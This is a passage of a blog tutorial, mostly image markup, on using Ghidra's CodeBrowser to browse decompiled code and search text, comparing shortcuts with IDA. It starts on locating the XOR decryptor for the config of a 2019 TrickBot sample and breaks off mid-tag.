srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br><br>Once analyzers finish, CodeBrowser interface is like this:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png" width="640" height="310" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:310,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZa4t76f3rcK0tpoEDbNtKE9QN_mwQswvvX2dZkeSS37UZbY1T42hNvZeW4mfyJw-s0RIiQ6DUKWg0wTvLyef6QVWbIu1YpQF6YRi5tnbQXskBmXL4BkO5MUpHFCPe2HMW7ubxa2e3aso/s640/ghidra_codebrowser2.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>Code is fully decompiled and while you browse each function, the decompiled code is showed in the right window.<br><br></p><h3>Browsing Code</h3><p><br>Browsing code is similar to IDA, you can double-click a name to jump there (for example double-clicking the destination of a call &lt;destination&gt;, would take you to the destination function). You can move easily to the previous location with Alt+left (equivalent to Esc in IDA) and next location with Alt+right (equivalent to Ctrl+Enter in IDA).<br><br>Other navigation options:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png" width="344" height="640" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:344,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi6i2NAi9ws5DaJFpG1HHTaSR8WEhUECLuCIoapO-m7yPxLQorYTF_U-smgjSyd2O8h2Wg-TfSi9-n1nVxbzaJIkdYA1Dd0IwKA3OxYelXnGr9vjGWB09Cplgmyoa2kd9lWBF3YPaWrW4/s640/ghidra_codebrowser_navigation.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>You can search for text, like IDA Alt+t, however (and I found this an interesting characteristic), you can select where do you want the text is going to be searched:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png" width="552" height="640" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:552,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCOEqjczDr2AMOmukxgN-7QoPeWb9EDT8RSYGaJkPbNU9uFzQ8rzKDIO3ehMGLkdW0NQyNaG7KdBHVxTkNotl7BSWDErBfSmoTkOMNaX-5MKlygKyMq8GA8VhOq8VzFs_0zVnbGj8v-Q/s640/ghidra_codebrowser_searchtext.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h3>Find TrickBot Config Xor-layer Decryptor</h3><p><br>For example, we can try to search for XOR instructions, and we get a list of matches:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png" width="640" height="542" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:542,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozskWbrS7weAsNOcFhkecK6-YCmv6O7HUYklZ3eiky3JUw0fkeDJvwDSu6trR0TM5UHwyTRa1Ufr6uPPpwE_FYqfOXaZw4MKApGvb98xmN5CuJnFb1dsJxuYFoVSVaM0mBXUavt1Bf8Y/s640/xor_mem.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br>In the analyzed sample (a trickbot from early 2019), if we look for XOR instructions, we can find easily some XOR&nbsp; instructions modifying memory, and one of them belongs to the function that decrypts the XOR layer of the trickbot config:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png 1456w" sizes="100vw"><img 